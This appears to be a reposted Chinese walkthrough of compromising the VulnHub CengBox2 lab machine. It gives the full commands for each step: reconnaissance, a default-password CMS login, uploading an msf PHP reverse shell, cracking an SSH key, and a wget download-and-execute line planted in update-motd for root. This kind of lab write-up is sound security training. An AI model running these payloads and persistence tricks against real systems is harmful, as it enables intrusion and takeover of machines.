<link rel="stylesheet" href="https://csdnimg.cn/release/phoenix/template/css/ck_htmledit_views-211130ba7a.css">
?本文首發于微信公眾號:VulnHub CengBox2靶機滲透,未經授權,禁止轉載,
難度評級:☆☆☆☆官網地址:https://download.vulnhub.com/cengbox/CengBox2.ova天翼云盤:https://cloud.189.cn/t/nq6r6jQVRZBz百度網盤:https://pan.baidu.com/s/1EMIZg3x2ebqOdRmif4O2Jg 提取碼:gt6g官網簡介:Ceng Company似乎正在維護,但仍可能運行著某些業務滲透目標:獲取普通用戶以及root用戶權限本機地址:192.168.110.27靶機地址:192.168.110.30, 192.168.110.32
資訊收集
老規矩,還是nmap開路,
nmap 192.168.110.0/24
掃描結果顯示共開啟了3個埠,分別運行著FTP、SSH和HTTP服務,一般來說,漏洞出現在HTTP服務的可能性最大,首先看看網站有什么敏感資訊,
顯示網站正在維護,原始碼中也沒有提供任何有用的資訊,那么就需要使用dirb掃描網頁目錄了,
dirb 192.168.110.30
只掃到了兩個頁面,index.html很明顯是剛才訪問的主頁,而server-status是不可能有權限訪問的,也就是說,dirb沒有掃出有用資訊,
既然80埠找不到突破點,那么看看FTP服務可不可以匿名登錄,
ftp 192.168.110.30
可以匿名登錄,查看一下ftp目錄下有什么敏感檔案,
ls
有一個名為note.txt的檔案,不管三七二十一,先下載下來再說,
get note.txt
下載完成,查看檔案內容,
檔案內容提示Aaron用默認密碼初始化了Kevin的賬號,并且把站點轉移到了ceng-company.vm域下,猜測通過域名和IP訪問網站的相應結果不同,
修改hosts檔案,把ceng-company.vm定向到192.168.110.30,
sudo vim /etc/hosts
接下來使用瀏覽器訪問ceng-company.vm看看是否有不同的回傳結果,
很遺憾,還是之前的頁面,再次使用dirb掃描看看,
依然沒有有用的資訊,不過既然靶機作者給出了提示,那么突破點就應該在網頁上,
考慮到ceng-company.vm是一級域名,而絕大多數網站都是通過二級域名訪問的,例如www.sogou.com、blog.csdn.net等,因此考慮在ceng-company.vm前加上前綴,組成二級域名,看網站是否有不同的回應,
vim /etc/hosts
這里添加了www、bbs、login、admin和blog這幾個常見的前綴,經過測驗,admin.ceng-company.vm會顯示禁止訪問,而其他二級域名則顯示與ceng-company.vm一樣的結果,
admin.ceng-company.vm一定有貓膩,再次使用dirb掃描,
dirb http://admin.ceng-company.vm
這次的結果更慘,只掃到一個頁面,雖然沒有掃描出什么結果,但admin.ceng-company一定是靶機的突破口,應該是dirb默認的字典不夠大才無法掃描到有用的結果,
結合以前使用dirbuster需要一個小時才能掃描完成的經歷,將默認字典換成dirbuster的字典再次嘗試,由于dirbuster的自帶的字典過于龐大,需要使用-w引數才能正常使用,
dirb http://admin.ceng-company.vm /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w
功夫不負有心人,經過漫長的等待,終于發現了一個可以訪問的目錄,
網頁端查看該目錄,發現是一個CMS,
點擊網頁的所有鏈接發現沒有有用的資訊后,嘗試訪問login頁面,
由于note.txt中給出了提示,Kevin的賬號是使用默認密碼初始化的,嘗試E-mail為[email protected],密碼為admin登錄,
登錄成功后網頁又跳轉到初始頁面,那么就試試admin頁面,
查看頁面內容后發現Content -> File Manager可以上傳檔案,
通過這個頁面應該可以上傳PHP木馬,接下來需要配合msf等工具生成PHP木馬,并獲取靶機的遠程shell,
漏洞利用
首先需要使用msf生成PHP木馬,
msfconsoleuse multi/script/web_deliveryset payload php/meterpreter/reverse_tcpset LHOST 192.168.110.27set target PHPrun
這幾條命令將會生成shell命令,復制eval部分內容保存成php腳本檔案,然后上傳到靶機上,
顯示上傳成功,但是在網頁端并沒有查看到shell.sh,可能被服務器過濾了,接下來嘗試上傳到tmp目錄,
上傳成功,訪問admin.ceng-company.vm/gila/tmp/shell.php,
顯示禁止訪問,這應該與.htaccess檔案有關,打開.htaccess,重命名為.htaccess.bak,
闖大禍了,修改檔案名之后所有的頁面都不可訪問,這下徹底沒有辦法了,由于沒有對靶機做備份,需要重新匯入ova檔案,靶機的IP更新為192.168.110.32,
這里的原因是洗掉了根目錄下的.htaccess,本來只需要洗掉tmp下的.htaccess檔案即可,
將其重命名為.htaccess.bak,
然后再訪問admin.ceng-company.vm/gila/tmp/shell.php,
msf成功獲取靶機shell,
sessions l
sessions -i 1shell
將不好用的shell改為bash,
whereis python
系統中安裝了python2.7和python3.5,
python3.5 -c 'import pty; pty.spawn("/bin/bash")'
權限提升
切換到家目錄查看有哪些用戶,
cd /homedir
其中無法進入mitnick目錄,可以進入swartz目錄,
查看當前目錄下有沒有可以利用的檔案,
ls -l
查看檔案內容,
cat runphp.sh
該檔案的功能為互動式運行php,查看是否可以以swartz權限執行該腳本,
sudo -l
果然,是可以免密碼以swartz權限執行runphp.sh的,
sudo -u swartz ./runphp.sh
需要注意引數,./runphp.sh和/home/swartz/runphp.sh都可以,但是不能直接使用檔案名,否則還是需要輸入密碼,
接下來使用互動式php獲取swartz的shell,
pcntl_exec('/bin/bash');
再次嘗試進入mitnick家目錄,
成功進入,查看該目錄下有無提示,
ls -la
有一個名為user.txt的檔案,但是沒有任何權限,很明顯,這是在提示需要提權到mitnick用戶才能進入下一步,
查找一下有什么檔案可以以mitnick或root權限運行,
sudo -l
很遺憾,需要密碼,這時候注意到mitnick家目錄下有.ssh檔案夾,進入檔案夾查看,
查看id_rsa,
接下來嘗試使用John the Rapper暴力破解密碼,
nc -lvvp 31337 < id_rsanc 192.168.110.32 31337 > mitnick.key
將mitnick.key轉換成john可識別的檔案,
/usr/share/john/ssh2john.py mitnick.key > mitnick.johncat mitnick.john
使用John the Rapper暴力破解,
locate rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt mitnick.john
幾秒鐘就將密碼爆破出來了,接著使用mitnick.key登錄靶機,
ssh -i mitnick.key mitnick@ceng-company.vm
無法登錄,原因是mitnick.key權限為644,需要改成600才能登錄,
chmod 600 mitnick.keyssh -i mitnick.key mitnick@ceng-company.vm
查看user.txt
cat user.txt
第一個flag已經拿到,現在需要提權到root,首先查找有哪些可以利用的檔案,
find / -type f -perm -g+rwx 2>/dev/null
update-motd.d檔案夾下的腳本會在用戶通過SSH登錄時由root運行,主要的作用是在登錄時顯示訊息,既然有寫權限,那么進行反彈shell,
使用msf生成反彈shell腳本,
use multi/script/web_deliveryset payload linux/x86/shell_reverse_tcpset LHOST 192.168.110.27set target Linuxrun
執行之后將會生成一個wget命令,
將該命令寫進腳本并設定可執行權限,
- echo "wget -qO gA5sN4z7 --no-check-certificate http://192.168.110.27:8080/kVEbfSR4mAORkbG; chmod +x gA5sN4z7; ./gA5sN4z7& disown" > rootShell.sh
-
- chmod 777 rootShell.sh
最后將rootShell.sh寫進00-header,
echo "sh /home/mitnick/rootShell.sh" >> /etc/update-motd.d/00-header
注銷SSH會話,重新連接,
exitssh -i mitnick.key mitnick@192.168.110.32
此時msf已經成功獲取shell,
sessions -lsessions -i 1
檢查權限,切換成bash,
idpython3.5 -c 'import pty; pty.spawn("/bin/bash")'
查找flag,
cd /rootlscat root.txt
至此,對靶機的滲透已經全部完成,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/3735.html
標籤:其他
上一篇:工控系統網路攻擊與脆弱性分析
下一篇:工控設備廠商典型工業協議與埠
